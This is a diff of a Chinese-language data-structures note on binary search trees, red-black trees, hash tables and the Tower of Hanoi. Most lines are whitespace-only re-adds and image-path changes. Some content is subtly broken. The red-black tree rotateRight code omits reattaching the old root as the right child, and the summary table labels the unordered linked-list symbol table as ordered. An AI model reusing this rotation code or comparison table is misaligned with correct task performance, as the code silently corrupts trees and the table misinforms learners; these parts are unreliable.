-public int rank(Key key) {
-    return rank(key, root);
+public int rank(Key key) {
+    return rank(key, root);
 }
 
-private int rank(Key key, Node x) {
-    if (x == null)
-        return 0;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return size(x.left);
-    else if (cmp < 0)
-        return rank(key, x.left);
-    else
-        return 1 + size(x.left) + rank(key, x.right);
+private int rank(Key key, Node x) {
+    if (x == null)
+        return 0;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return size(x.left);
+    else if (cmp < 0)
+        return rank(key, x.left);
+    else
+        return 1 + size(x.left) + rank(key, x.right);
 }
 ```
 
-### 6. min()
+### 6. min()
 
 ```java
 @Override
-public Key min() {
-    return min(root).key;
+public Key min() {
+    return min(root).key;
 }
 
-private Node min(Node x) {
-    if (x == null)
-        return null;
-    if (x.left == null)
-        return x;
-    return min(x.left);
+private Node min(Node x) {
+    if (x == null)
+        return null;
+    if (x.left == null)
+        return x;
+    return min(x.left);
 }
 ```
 
-### 7. deleteMin()
+### 7. deleteMin()
 
 令指向最小节点的链接指向最小节点的右子树。
 
-<img src="index_files/dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/>
+<div align="center"> <img src="pics/dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/> </div><br>
 
 ```java
-public void deleteMin() {
-    root = deleteMin(root);
+public void deleteMin() {
+    root = deleteMin(root);
 }
 
-public Node deleteMin(Node x) {
-    if (x.left == null)
-        return x.right;
-    x.left = deleteMin(x.left);
-    recalculateSize(x);
-    return x;
+public Node deleteMin(Node x) {
+    if (x.left == null)
+        return x.right;
+    x.left = deleteMin(x.left);
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 8. delete()
+### 8. delete()
 
-- 如果待删除的节点只有一个子树，  那么只需要让指向待删除节点的链接指向唯一的子树即可；
-- 否则，让右子树的最小节点替换该节点。
+- 如果待删除的节点只有一个子树，  那么只需要让指向待删除节点的链接指向唯一的子树即可；
+- 否则，让右子树的最小节点替换该节点。
 
-<img src="index_files/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/>
+<div align="center"> <img src="pics/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/> </div><br>
 
 ```java
-public void delete(Key key) {
-    root = delete(root, key);
+public void delete(Key key) {
+    root = delete(root, key);
 }
-private Node delete(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp < 0)
-        x.left = delete(x.left, key);
-    else if (cmp > 0)
-        x.right = delete(x.right, key);
-    else {
-        if (x.right == null)
-            return x.left;
-        if (x.left == null)
-            return x.right;
-        Node t = x;
-        x = min(t.right);
-        x.right = deleteMin(t.right);
-        x.left = t.left;
-    }
-    recalculateSize(x);
-    return x;
+private Node delete(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp < 0)
+        x.left = delete(x.left, key);
+    else if (cmp > 0)
+        x.right = delete(x.right, key);
+    else {
+        if (x.right == null)
+            return x.left;
+        if (x.left == null)
+            return x.right;
+        Node t = x;
+        x = min(t.right);
+        x.right = deleteMin(t.right);
+        x.left = t.left;
+    }
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 9. keys()
+### 9. keys()
 
 利用二叉查找树中序遍历的结果为递增的特点。
 
 ```java
 @Override
-public List<Key> keys(Key l, Key h) {
-    return keys(root, l, h);
+public List<Key> keys(Key l, Key h) {
+    return keys(root, l, h);
 }
 
-private List<Key> keys(Node x, Key l, Key h) {
-    List<Key> list = new ArrayList<>();
-    if (x == null)
-        return list;
-    int cmpL = l.compareTo(x.key);
-    int cmpH = h.compareTo(x.key);
-    if (cmpL < 0)
-        list.addAll(keys(x.left, l, h));
-    if (cmpL <= 0 && cmpH >= 0)
-        list.add(x.key);
-    if (cmpH > 0)
-        list.addAll(keys(x.right, l, h));
-    return list;
+private List<Key> keys(Node x, Key l, Key h) {
+    List<Key> list = new ArrayList<>();
+    if (x == null)
+        return list;
+    int cmpL = l.compareTo(x.key);
+    int cmpH = h.compareTo(x.key);
+    if (cmpL < 0)
+        list.addAll(keys(x.left, l, h));
+    if (cmpL <= 0 && cmpH >= 0)
+        list.add(x.key);
+    if (cmpH > 0)
+        list.addAll(keys(x.right, l, h));
+    return list;
 }
 ```
 
-### 10. 分析
+### 10. 分析
 
 二叉查找树所有操作在最坏的情况下所需要的时间都和树的高度成正比。
 
-## 2-3 查找树
+## 2-3 查找树
 
-2-3 查找树引入了 2- 节点和 3- 节点，目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
+2-3 查找树引入了 2- 节点和 3- 节点，目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
 
-<img src="index_files/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/>
+<div align="center"> <img src="pics/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
 
-### 1. 插入操作
+### 1. 插入操作
 
-插入操作和 BST 的插入操作有很大区别，BST 的插入操作是先进行一次未命中的查找，然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话，那么就会破坏了平衡性。它是将新节点插入到叶子节点上。
+插入操作和 BST 的插入操作有很大区别，BST 的插入操作是先进行一次未命中的查找，然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话，那么就会破坏了平衡性。它是将新节点插入到叶子节点上。
 
 根据叶子节点的类型不同，有不同的处理方式：
 
-- 如果插入到 2- 节点上，那么直接将新节点和原来的节点组成 3- 节点即可。
+- 如果插入到 2- 节点上，那么直接将新节点和原来的节点组成 3- 节点即可。
 
-<img src="index_files/7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/>
+<div align="center"> <img src="pics/7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/> </div><br>
 
-- 如果是插入到 3- 节点上，就会产生一个临时 4- 节点时，需要将 4- 节点分裂成 3 个 2- 节点，并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移，直到不存在临时 4- 节点。
+- 如果是插入到 3- 节点上，就会产生一个临时 4- 节点时，需要将 4- 节点分裂成 3 个 2- 节点，并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移，直到不存在临时 4- 节点。
 
-<img src="index_files/ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/>
+<div align="center"> <img src="pics/ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/> </div><br>
 
-### 2. 性质
+### 2. 性质
 
-2-3 查找树插入操作的变换都是局部的，除了相关的节点和链接之外不必修改或者检查树的其它部分，而这些局部变换不会影响树的全局有序性和平衡性。
+2-3 查找树插入操作的变换都是局部的，除了相关的节点和链接之外不必修改或者检查树的其它部分，而这些局部变换不会影响树的全局有序性和平衡性。
 
-2-3 查找树的查找和插入操作复杂度和插入顺序无关，在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个，含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
+2-3 查找树的查找和插入操作复杂度和插入顺序无关，在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个，含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
 
-## 红黑树
+## 红黑树
 
-红黑树是 2-3 查找树，但它不需要分别定义 2- 节点和 3- 节点，而是在普通的二叉查找树之上，为节点添加颜色。指向一个节点的链接颜色如果为红色，那么这个节点和上层节点表示的是一个 3- 节点，而黑色则是普通链接。
+红黑树是 2-3 查找树，但它不需要分别定义 2- 节点和 3- 节点，而是在普通的二叉查找树之上，为节点添加颜色。指向一个节点的链接颜色如果为红色，那么这个节点和上层节点表示的是一个 3- 节点，而黑色则是普通链接。
 
-<img src="index_files/4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/>
+<div align="center"> <img src="pics/4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/> </div><br>
 
 红黑树具有以下性质：
 
-- 红链接都为左链接；
-- 完美黑色平衡，即任意空链接到根节点的路径上的黑链接数量相同。
+- 红链接都为左链接；
+- 完美黑色平衡，即任意空链接到根节点的路径上的黑链接数量相同。
 
 画红黑树时可以将红链接画平。
 
-<img src="index_files/3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/>
+<div align="center"> <img src="pics/3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/> </div><br>
 
 ```java
-public class RedBlackBST<Key extends Comparable<Key>, Value> extends BST<Key, Value> {
+public class RedBlackBST<Key extends Comparable<Key>, Value> extends BST<Key, Value> {
 
-    private static final boolean RED = true;
-    private static final boolean BLACK = false;
+    private static final boolean RED = true;
+    private static final boolean BLACK = false;
 
-    private boolean isRed(Node x) {
-        if (x == null)
-            return false;
-        return x.color == RED;
-    }
+    private boolean isRed(Node x) {
+        if (x == null)
+            return false;
+        return x.color == RED;
+    }
 }
 ```
 
-### 1. 左旋转
+### 1. 左旋转
 
 因为合法的红链接都为左链接，如果出现右链接为红链接，那么就需要进行左旋转操作。
 
-<img src="index_files/9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/>
+<div align="center"> <img src="pics/9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/> </div><br>
 
 ```java
-public Node rotateLeft(Node h) {
-    Node x = h.right;
-    h.right = x.left;
-    x.left = h;
-    x.color = h.color;
-    h.color = RED;
-    x.N = h.N;
-    recalculateSize(h);
-    return x;
+public Node rotateLeft(Node h) {
+    Node x = h.right;
+    h.right = x.left;
+    x.left = h;
+    x.color = h.color;
+    h.color = RED;
+    x.N = h.N;
+    recalculateSize(h);
+    return x;
 }
 ```
 
-### 2. 右旋转
+### 2. 右旋转
 
 进行右旋转是为了转换两个连续的左红链接，这会在之后的插入过程中探讨。
 
-<img src="index_files/e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/>
+<div align="center"> <img src="pics/e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/> </div><br>
 
 ```java
-public Node rotateRight(Node h) {
-    Node x = h.left;
-    h.left = x.right;
-    x.color = h.color;
-    h.color = RED;
-    x.N = h.N;
-    recalculateSize(h);
-    return x;
+public Node rotateRight(Node h) {
+    Node x = h.left;
+    h.left = x.right;
+    x.color = h.color;
+    h.color = RED;
+    x.N = h.N;
+    recalculateSize(h);
+    return x;
 }
 ```
 
-### 3. 颜色转换
+### 3. 颜色转换
 
-一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外，同时需要将父节点的颜色由黑变红，从 2-3 树的角度看就是将中间节点移到上层节点。
+一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外，同时需要将父节点的颜色由黑变红，从 2-3 树的角度看就是将中间节点移到上层节点。
 
-<img src="index_files/af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/>
+<div align="center"> <img src="pics/af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/> </div><br>
 
 ```java
-void flipColors(Node h) {
-    h.color = RED;
-    h.left.color = BLACK;
-    h.right.color = BLACK;
+void flipColors(Node h) {
+    h.color = RED;
+    h.left.color = BLACK;
+    h.right.color = BLACK;
 }
 ```
 
-### 4. 插入
+### 4. 插入
 
 先将一个节点按二叉查找树的方法插入到正确位置，然后再进行如下颜色操作：
 
-- 如果右子节点是红色的而左子节点是黑色的，进行左旋转；
-- 如果左子节点是红色的，而且左子节点的左子节点也是红色的，进行右旋转；
-- 如果左右子节点均为红色的，进行颜色转换。
+- 如果右子节点是红色的而左子节点是黑色的，进行左旋转；
+- 如果左子节点是红色的，而且左子节点的左子节点也是红色的，进行右旋转；
+- 如果左右子节点均为红色的，进行颜色转换。
 
-<img src="index_files/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/>
+<div align="center"> <img src="pics/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/> </div><br>
 
 ```java
 @Override
-public void put(Key key, Value value) {
-    root = put(root, key, value);
-    root.color = BLACK;
+public void put(Key key, Value value) {
+    root = put(root, key, value);
+    root.color = BLACK;
 }
 
-private Node put(Node x, Key key, Value value) {
-    if (x == null) {
-        Node node = new Node(key, value, 1);
-        node.color = RED;
-        return node;
-    }
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        x.val = value;
-    else if (cmp < 0)
-        x.left = put(x.left, key, value);
-    else
-        x.right = put(x.right, key, value);
+private Node put(Node x, Key key, Value value) {
+    if (x == null) {
+        Node node = new Node(key, value, 1);
+        node.color = RED;
+        return node;
+    }
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        x.val = value;
+    else if (cmp < 0)
+        x.left = put(x.left, key, value);
+    else
+        x.right = put(x.right, key, value);
 
-    if (isRed(x.right) && !isRed(x.left))
-        x = rotateLeft(x);
-    if (isRed(x.left) && isRed(x.left.left))
-        x = rotateRight(x);
-    if (isRed(x.left) && isRed(x.right))
-        flipColors(x);
+    if (isRed(x.right) && !isRed(x.left))
+        x = rotateLeft(x);
+    if (isRed(x.left) && isRed(x.left.left))
+        x = rotateRight(x);
+    if (isRed(x.left) && isRed(x.right))
+        flipColors(x);
 
-    recalculateSize(x);
-    return x;
+    recalculateSize(x);
+    return x;
 }
 ```
 
 可以看到该插入操作和二叉查找树的插入操作类似，只是在最后加入了旋转和颜色变换操作即可。
 
-根节点一定为黑色，因为根节点没有上层节点，也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色，每当根节点由红色变成黑色时树的黑链接高度加 1.
+根节点一定为黑色，因为根节点没有上层节点，也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色，每当根节点由红色变成黑色时树的黑链接高度加 1.
 
-### 5. 分析
+### 5. 分析
 
-一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树，构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
+一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树，构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
 
 红黑树大多数的操作所需要的时间都是对数级别的。
 
-## 散列表
+## 散列表
 
 散列表类似于数组，可以把散列表的散列值看成数组的索引值。访问散列表和访问数组元素一样快速，它可以在常数时间内实现查找和插入操作。
 
 由于无法通过散列值知道键的大小关系，因此散列表无法实现有序性操作。
 
-### 1. 散列函数
+### 1. 散列函数
 
-对于一个大小为 M 的散列表，散列函数能够把任意键转换为 [0, M-1] 内的正整数，该正整数即为 hash 值。
+对于一个大小为 M 的散列表，散列函数能够把任意键转换为 [0, M-1] 内的正整数，该正整数即为 hash 值。
 
-散列表存在冲突，也就是两个不同的键可能有相同的 hash 值。
+散列表存在冲突，也就是两个不同的键可能有相同的 hash 值。
 
 散列函数应该满足以下三个条件：
 
-- 一致性：相等的键应当有相等的 hash 值，两个键相等表示调用 equals() 返回的值相等。
-- 高效性：计算应当简便，有必要的话可以把 hash 值缓存起来，在调用 hash 函数时直接返回。
-- 均匀性：所有键的 hash 值应当均匀地分布到 [0, M-1] 之间，如果不能满足这个条件，有可能产生很多冲突，从而导致散列表的性能下降。
+- 一致性：相等的键应当有相等的 hash 值，两个键相等表示调用 equals() 返回的值相等。
+- 高效性：计算应当简便，有必要的话可以把 hash 值缓存起来，在调用 hash 函数时直接返回。
+- 均匀性：所有键的 hash 值应当均匀地分布到 [0, M-1] 之间，如果不能满足这个条件，有可能产生很多冲突，从而导致散列表的性能下降。
 
-除留余数法可以将整数散列到 [0, M-1] 之间，例如一个正整数 k，计算 k%M 既可得到一个 [0, M-1] 之间的 hash 值。注意 M 必须是一个素数，否则无法利用键包含的所有信息。例如 M 为 10<sup>k</sup>，那么只能利用键的后 k 位。
+除留余数法可以将整数散列到 [0, M-1] 之间，例如一个正整数 k，计算 k%M 既可得到一个 [0, M-1] 之间的 hash 值。注意 M 必须是一个素数，否则无法利用键包含的所有信息。例如 M 为 10<sup>k</sup>，那么只能利用键的后 k 位。
 
 对于其它数，可以将其转换成整数的形式，然后利用除留余数法。例如对于浮点数，可以将其的二进制形式转换成整数。
 
-对于多部分组合的类型，每个部分都需要计算 hash 值，这些 hash 值都具有同等重要的地位。为了达到这个目的，可以将该类型看成 R 进制的整数，每个部分都具有不同的权值。
+对于多部分组合的类型，每个部分都需要计算 hash 值，这些 hash 值都具有同等重要的地位。为了达到这个目的，可以将该类型看成 R 进制的整数，每个部分都具有不同的权值。
 
 例如，字符串的散列函数实现如下：
 
 ```java
-int hash = 0;
-for (int i = 0; i < s.length(); i++)
-    hash = (R * hash + s.charAt(i)) % M;
+int hash = 0;
+for (int i = 0; i < s.length(); i++)
+    hash = (R * hash + s.charAt(i)) % M;
 ```
 
 再比如，拥有多个成员的自定义类的哈希函数如下：
 
 ```java
-int hash = (((day * R + month) % M) * R + year) % M;
+int hash = (((day * R + month) % M) * R + year) % M;
 ```
 
-R 通常取 31。
+R 通常取 31。
 
-Java 中的 hashCode() 实现了哈希函数，但是默认使用对象的内存地址值。在使用 hashCode() 时，应当结合除留余数法来使用。因为内存地址是 32 位整数，我们只需要 31 位的非负整数，因此应当屏蔽符号位之后再使用除留余数法。
+Java 中的 hashCode() 实现了哈希函数，但是默认使用对象的内存地址值。在使用 hashCode() 时，应当结合除留余数法来使用。因为内存地址是 32 位整数，我们只需要 31 位的非负整数，因此应当屏蔽符号位之后再使用除留余数法。
 
 ```java
-int hash = (x.hashCode() & 0x7fffffff) % M;
+int hash = (x.hashCode() & 0x7fffffff) % M;
 ```
 
-使用 Java 的 HashMap 等自带的哈希表实现时，只需要去实现 Key 类型的 hashCode() 函数即可。Java 规定 hashCode() 能够将键均匀分布于所有的 32 位整数，Java 中的 String、Integer 等对象的 hashCode() 都能实现这一点。以下展示了自定义类型如何实现 hashCode()：
+使用 Java 的 HashMap 等自带的哈希表实现时，只需要去实现 Key 类型的 hashCode() 函数即可。Java 规定 hashCode() 能够将键均匀分布于所有的 32 位整数，Java 中的 String、Integer 等对象的 hashCode() 都能实现这一点。以下展示了自定义类型如何实现 hashCode()：
 
 ```java
-public class Transaction {
+public class Transaction {
 
-    private final String who;
-    private final Date when;
-    private final double amount;
+    private final String who;
+    private final Date when;
+    private final double amount;
 
-    public Transaction(String who, Date when, double amount) {
-        this.who = who;
-        this.when = when;
-        this.amount = amount;
-    }
+    public Transaction(String who, Date when, double amount) {
+        this.who = who;
+        this.when = when;
+        this.amount = amount;
+    }
 
-    public int hashCode() {
-        int hash = 17;
-        int R = 31;
-        hash = R * hash + who.hashCode();
-        hash = R * hash + when.hashCode();
-        hash = R * hash + ((Double) amount).hashCode();
-        return hash;
-    }
+    public int hashCode() {
+        int hash = 17;
+        int R = 31;
+        hash = R * hash + who.hashCode();
+        hash = R * hash + when.hashCode();
+        hash = R * hash + ((Double) amount).hashCode();
+        return hash;
+    }
 }
 ```
 
-### 2. 拉链法
+### 2. 拉链法
 
-拉链法使用链表来存储 hash 值相同的键，从而解决冲突。
+拉链法使用链表来存储 hash 值相同的键，从而解决冲突。
 
-查找需要分两步，首先查找 Key 所在的链表，然后在链表中顺序查找。
+查找需要分两步，首先查找 Key 所在的链表，然后在链表中顺序查找。
 
-对于 N 个键，M 条链表 (N>M)，如果哈希函数能够满足均匀性的条件，每条链表的大小趋向于 N/M，因此未命中的查找和插入操作所需要的比较次数为 ~N/M。
+对于 N 个键，M 条链表 (N>M)，如果哈希函数能够满足均匀性的条件，每条链表的大小趋向于 N/M，因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
 
-<img src="index_files/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/>
+<div align="center"> <img src="pics/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/> </div><br>
 
-### 3. 线性探测法
+### 3. 线性探测法
 
 线性探测法使用空位来解决冲突，当冲突发生时，向前探测一个空位来存储冲突的键。
 
-使用线性探测法，数组的大小 M 应当大于键的个数 N（M>N)。
+使用线性探测法，数组的大小 M 应当大于键的个数 N（M>N)。
 
-<img src="index_files/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/>
+<div align="center"> <img src="pics/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
 
 ```java
-public class LinearProbingHashST<Key, Value> implements UnorderedST<Key, Value> {
+public class LinearProbingHashST<Key, Value> implements UnorderedST<Key, Value> {
 
-    private int N = 0;
-    private int M = 16;
-    private Key[] keys;
-    private Value[] values;
+    private int N = 0;
+    private int M = 16;
+    private Key[] keys;
+    private Value[] values;
 
-    public LinearProbingHashST() {
-        init();
-    }
+    public LinearProbingHashST() {
+        init();
+    }
 
-    public LinearProbingHashST(int M) {
-        this.M = M;
-        init();
-    }
+    public LinearProbingHashST(int M) {
+        this.M = M;
+        init();
+    }
 
-    private void init() {
-        keys = (Key[]) new Object[M];
-        values = (Value[]) new Object[M];
-    }
+    private void init() {
+        keys = (Key[]) new Object[M];
+        values = (Value[]) new Object[M];
+    }
 
-    private int hash(Key key) {
-        return (key.hashCode() & 0x7fffffff) % M;
-    }
+    private int hash(Key key) {
+        return (key.hashCode() & 0x7fffffff) % M;
+    }
 }
 ```
 
-#### 3.1 查找
+#### 3.1 查找
 
 ```java
-public Value get(Key key) {
-    for (int i = hash(key); keys[i] != null; i = (i + 1) % M)
-        if (keys[i].equals(key))
-            return values[i];
+public Value get(Key key) {
+    for (int i = hash(key); keys[i] != null; i = (i + 1) % M)
+        if (keys[i].equals(key))
+            return values[i];
 
-    return null;
+    return null;
 }
 ```
 
-#### 3.2 插入
+#### 3.2 插入
 
 ```java
-public void put(Key key, Value value) {
-    resize();
-    putInternal(key, value);
+public void put(Key key, Value value) {
+    resize();
+    putInternal(key, value);
 }
 
-private void putInternal(Key key, Value value) {
-    int i;
-    for (i = hash(key); keys[i] != null; i = (i + 1) % M)
-        if (keys[i].equals(key)) {
-            values[i] = value;
-            return;
-        }
+private void putInternal(Key key, Value value) {
+    int i;
+    for (i = hash(key); keys[i] != null; i = (i + 1) % M)
+        if (keys[i].equals(key)) {
+            values[i] = value;
+            return;
+        }
 
-    keys[i] = key;
-    values[i] = value;
-    N++;
+    keys[i] = key;
+    values[i] = value;
+    N++;
 }
 ```
 
-#### 3.3 删除
+#### 3.3 删除
 
 删除操作应当将右侧所有相邻的键值对重新插入散列表中。
 
 ```java
-public void delete(Key key) {
-    int i = hash(key);
-    while (keys[i] != null && !key.equals(keys[i]))
-        i = (i + 1) % M;
+public void delete(Key key) {
+    int i = hash(key);
+    while (keys[i] != null && !key.equals(keys[i]))
+        i = (i + 1) % M;
 
-    // 不存在，直接返回
-    if (keys[i] == null)
-        return;
+    // 不存在，直接返回
+    if (keys[i] == null)
+        return;
 
-    keys[i] = null;
-    values[i] = null;
+    keys[i] = null;
+    values[i] = null;
 
-    // 将之后相连的键值对重新插入
-    i = (i + 1) % M;
-    while (keys[i] != null) {
-        Key keyToRedo = keys[i];
-        Value valToRedo = values[i];
-        keys[i] = null;
-        values[i] = null;
-        N--;
-        putInternal(keyToRedo, valToRedo);
-        i = (i + 1) % M;
-    }
-    N--;
-    resize();
+    // 将之后相连的键值对重新插入
+    i = (i + 1) % M;
+    while (keys[i] != null) {
+        Key keyToRedo = keys[i];
+        Value valToRedo = values[i];
+        keys[i] = null;
+        values[i] = null;
+        N--;
+        putInternal(keyToRedo, valToRedo);
+        i = (i + 1) % M;
+    }
+    N--;
+    resize();
 }
 ```
 
-#### 3.5 调整数组大小
+#### 3.5 调整数组大小
 
-线性探测法的成本取决于连续条目的长度，连续条目也叫聚簇。当聚簇很长时，在查找和插入时也需要进行很多次探测。例如下图中 2~5 位置就是一个聚簇。
+线性探测法的成本取决于连续条目的长度，连续条目也叫聚簇。当聚簇很长时，在查找和插入时也需要进行很多次探测。例如下图中 2\~5 位置就是一个聚簇。
 
-<img src="index_files/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/>
+<div align="center"> <img src="pics/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/> </div><br>
 
-α = N/M，把 α 称为使用率。理论证明，当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。为了保证散列表的性能，应当调整数组的大小，使得 α 在 [1/4, 1/2] 之间。
+α = N/M，把 α 称为使用率。理论证明，当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。为了保证散列表的性能，应当调整数组的大小，使得 α 在 [1/4, 1/2] 之间。
 
 ```java
-private void resize() {
-    if (N >= M / 2)
-        resize(2 * M);
-    else if (N <= M / 8)
-        resize(M / 2);
+private void resize() {
+    if (N >= M / 2)
+        resize(2 * M);
+    else if (N <= M / 8)
+        resize(M / 2);
 }
 
-private void resize(int cap) {
-    LinearProbingHashST<Key, Value> t = new LinearProbingHashST<Key, Value>(cap);
-    for (int i = 0; i < M; i++)
-        if (keys[i] != null)
-            t.putInternal(keys[i], values[i]);
+private void resize(int cap) {
+    LinearProbingHashST<Key, Value> t = new LinearProbingHashST<Key, Value>(cap);
+    for (int i = 0; i < M; i++)
+        if (keys[i] != null)
+            t.putInternal(keys[i], values[i]);
 
-    keys = t.keys;
-    values = t.values;
-    M = t.M;
+    keys = t.keys;
+    values = t.values;
+    M = t.M;
 }
 ```
 
-## 小结
+## 小结
 
-### 1. 符号表算法比较
+### 1. 符号表算法比较
 
-| 算法 | 插入 | 查找 | 是否有序 |
-| :---: | :---: | :---: | :---: |
-| 链表实现的无序符号表 | N | N | yes |
-| 二分查找实现的有序符号表 | N | logN | yes |
-| 二叉查找树 | logN | logN | yes |
-| 2-3 查找树 | logN | logN | yes |
-| 拉链法实现的散列表 | N/M | N/M | no |
-| 线性探测法实现的散列表 | 1 | 1 | no |
+| 算法 | 插入 | 查找 | 是否有序 |
+| :---: | :---: | :---: | :---: |
+| 链表实现的无序符号表 | N | N | yes |
+| 二分查找实现的有序符号表 | N | logN | yes |
+| 二叉查找树 | logN | logN | yes |
+| 2-3 查找树 | logN | logN | yes |
+| 拉链法实现的散列表 | N/M | N/M | no |
+| 线性探测法实现的散列表 | 1 | 1 | no |
 
 应当优先考虑散列表，当需要有序性操作时使用红黑树。
 
-### 2. Java 的符号表实现
+### 2. Java 的符号表实现
 
-- java.util.TreeMap：红黑树
-- java.util.HashMap：拉链法的散列表
+- java.util.TreeMap：红黑树
+- java.util.HashMap：拉链法的散列表
 
-### 3. 稀疏向量乘法
+### 3. 稀疏向量乘法
 
-当向量为稀疏向量时，可以使用符号表来存储向量中的非 0 索引和值，使得乘法运算只需要对那些非 0 元素进行即可。
+当向量为稀疏向量时，可以使用符号表来存储向量中的非 0 索引和值，使得乘法运算只需要对那些非 0 元素进行即可。
 
 ```java
-public class SparseVector {
-    private HashMap<Integer, Double> hashMap;
+public class SparseVector {
+    private HashMap<Integer, Double> hashMap;
 
-    public SparseVector(double[] vector) {
-        hashMap = new HashMap<>();
-        for (int i = 0; i < vector.length; i++)
-            if (vector[i] != 0)
-                hashMap.put(i, vector[i]);
-    }
+    public SparseVector(double[] vector) {
+        hashMap = new HashMap<>();
+        for (int i = 0; i < vector.length; i++)
+            if (vector[i] != 0)
+                hashMap.put(i, vector[i]);
+    }
 
-    public double get(int i) {
-        return hashMap.getOrDefault(i, 0.0);
-    }
+    public double get(int i) {
+        return hashMap.getOrDefault(i, 0.0);
+    }
 
-    public double dot(SparseVector other) {
-        double sum = 0;
-        for (int i : hashMap.keySet())
-            sum += this.get(i) * other.get(i);
-        return sum;
-    }
+    public double dot(SparseVector other) {
+        double sum = 0;
+        for (int i : hashMap.keySet())
+            sum += this.get(i) * other.get(i);
+        return sum;
+    }
 }
 ```
 
-# 七、其它
+# 七、其它
 
-## 汉诺塔
+## 汉诺塔
 
-<img src="index_files/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/>
+<div align="center"> <img src="pics/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/> </div><br>
 
-有三个柱子，分别为 from、buffer、to。需要将 from 上的圆盘全部移动到 to 上，并且要保证小圆盘始终在大圆盘上。
+有三个柱子，分别为 from、buffer、to。需要将 from 上的圆盘全部移动到 to 上，并且要保证小圆盘始终在大圆盘上。
 
 这是一个经典的递归问题，分为三步求解：
 
-① 将 n-1 个圆盘从 from -> buffer
+① 将 n-1 个圆盘从 from -> buffer
 
-<img src="index_files/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png" width="300"/>
+<div align="center"> <img src="pics/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png" width="300"/> </div><br>
 
-② 将 1 个圆盘从 from -> to
+② 将 1 个圆盘从 from -> to
 
-<img src="index_files/2861e923-4862-4526-881c-15529279d49c.png" width="300"/>
+<div align="center"> <img src="pics/2861e923-4862-4526-881c-15529279d49c.png" width="300"/> </div><br>
 
-③ 将 n-1 个圆盘从 buffer -> to
+③ 将 n-1 个圆盘从 buffer -> to
 
-<img src="index_files/1c4e8185-8153-46b6-bd5a-288b15feeae6.png" width="300"/>
+<div align="center"> <img src="pics/1c4e8185-8153-46b6-bd5a-288b15feeae6.png" width="300"/> </div><br>
 
 如果只有一个圆盘，那么只需要进行一次移动操作。
 
-从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
+从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
 
 ```java
